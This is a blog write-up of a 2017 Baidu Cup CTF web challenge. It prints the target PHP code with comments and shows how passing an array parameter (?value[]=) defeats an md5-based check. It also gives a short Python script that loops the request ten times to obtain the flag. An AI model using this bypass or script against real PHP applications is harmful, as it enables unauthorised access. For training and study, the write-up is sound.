“百度杯”CTF比赛 2017 二月场-爆破-3

“百度杯”CTF比赛 2017 二月场

爆破-3

题目类型:web

题目描述:打开靶机,得到一段php代码,说明这是一道php代码审计类型的题:

 <?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

解题方法:我们来审计一下这一段php代码:

<?php 
error_reporting(0); // 关闭错误报告,防止泄漏敏感信息
session_start(); // 启动会话,以便在页面之间共享数据
require('./flag.php'); // 导入 flag.php 文件,可能包含了一些敏感信息

// 如果会话中不存在 'nums' 键,则初始化为 0,同时记录时间和当前用户为 'ea'
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time(); // 记录当前时间
  $_SESSION['whoami'] = 'ea'; // 记录当前用户标识
}

// 如果距离会话开始的时间超过 120 秒,则销毁会话
if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value']; // 从用户请求中获取 'value' 参数
$str_rand = range('a', 'z'); // 创建包含字母 'a' 到 'z' 的数组
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; // 从数组中随机选择两个字母组合成字符串

// 如果用户输入的前两个字符与会话中的 'whoami' 相同,并且输入的值经过 md5 加密后的结果是0
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++; // 会话中记录次数加一
  $_SESSION['whoami'] = $str_rands; // 更新当前用户标识
  echo $str_rands; // 输出随机字符串
}

// 如果会话中记录的次数大于等于 10,则输出 flag
if($_SESSION['nums']>=10){
  echo $flag; // 输出 flag.php 中定义的 flag
}

show_source(__FILE__); // 显示当前 PHP 文件的源代码
?>

关键是在于这里:

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++; // 会话中记录次数加一
  $_SESSION['whoami'] = $str_rands; // 更新当前用户标识
  echo $str_rands; // 输出随机字符串

这里要MD5加密后的值为0,可以用数组来进行绕过,MD5对数组不能处理,这里我们用数组来传入当前的用户标识 ?value[]=ea

这是nums就会加一,whoami就会随机产生一个新的字符在最上边,每次传入随机产生的字符,nums就会增加一次,当nums==10的时候就会输出flag,这里可以手动每次输入并传入随机产生的字符,连续10就可以,它的回话时间限制有120秒,够进行手动输入

也可以编写python脚本:

import requests
url = 'http://eci-2zedizxwhsw2plkete27.cloudeci1.ichunqiu.com/'
session = requests.Session()
html = session.get(url+'?value[]=ea').text
for _ in range(10):
    html = session.get(url+'?value[]='+html[:2]).text
print(html)

得到flag:

flag{16604491-e2d1-4842-a21d-8dd961695290}

posted @   张伟文  阅读(35)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示